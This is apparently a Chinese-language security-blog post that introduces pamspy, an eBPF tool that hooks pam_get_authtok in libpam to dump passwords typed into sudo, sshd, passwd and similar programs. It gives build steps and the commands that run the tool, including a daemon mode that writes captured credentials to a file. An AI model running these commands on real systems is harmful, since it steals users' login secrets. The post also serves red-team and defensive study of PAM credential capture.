使用 eBPF 的 Linux 凭证转储程序——pamspy

作者:Sec-Labs | 发布时间:

工具介绍

pamspy利用eBPF技术来实现3snake的同等工作。

它将跟踪PAM(可插拔认证模块)库内的一个特定的用户区功能,该库被许多关键的应用程序用来处理认证,如。

  • sudo
  • sshd
  • passwd
  • gnome
  • x11
  • 其他

e1e320f363113443

 

如何启动?

pamspy是以静态二进制文件的形式构建的,没有任何依赖性,可以在发布页面上找到。

Usage: pamspy [OPTION...]
pamspy

Uses eBPF to dump secrets use by PAM (Authentication) module
By hooking the pam_get_authtok function in libpam.so

USAGE: ./pamspy -p $(/usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4) -d /var/log/trace.0

  -d, --daemon=PATH TO OUTPUT CREDENTIALS
                             Start pamspy in daemon mode and output in the file
                             passed as argument
  -p, --path=PATH            Path to the libpam.so file
  -r, --print-headers        Print headers of the program
  -v, --verbose              Verbose mode
  -?, --help                 Give this help list
      --usage                Give a short usage message
  -V, --version              Print program version

Mandatory or optional arguments to long options are also mandatory or optional
for any corresponding short options.

Report bugs to .

由于pamspy依赖libpam,我们必须设置libpam在你的发行版上的安装路径。要找到libpam的安装位置,你可以运行以下命令。

> /usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4
/lib/x86_64-linux-gnu/libpam.so.0

一旦你得到路径,你可以启动pamspy

> ./pamspy -p /lib/x86_64-linux-gnu/libpam.so.0

启动pamspy的一个简单方法是使用以下命令。

> ./pamspy -p $(/usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4)

pamspy也可以作为一个守护程序启动,只要提供一个输出文件,将凭证写入其中。

./pamspy -p $(/usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4) -d /tmp/credentials

 

如何构建?

为了构建静态二进制,我们需要第三方程序。对于eBPF,我们需要clang将C代码编译成eBPF CO-RE代码。我们还依靠bpftool从ebpf程序中创建一个骨架,将其包含在我们的用户界面程序中。然后我们还需要libelf来找到libpam中的正确符号。

sudo apt install make clang-11 gcc libelf-dev bpftool

然后开始构造

git clone https://github.com/citronneur/pamspy --recursive
cd pamspy/src
make

 

它是如何工作的?

pamspy将加载一个用户端返回探针的eBPF程序,以钩住libpam.sopam_get_authtok函数。PAM是 "可插拔认证模块 "的缩写,它有一个灵活的设计来管理Linux上不同类型的认证。

每当一个认证过程试图检查一个新的用户时,它就会调用pam_get_authtok,并在这里转储关键秘密的内容!

简单! 享受吧!

 
 
标签:工具分享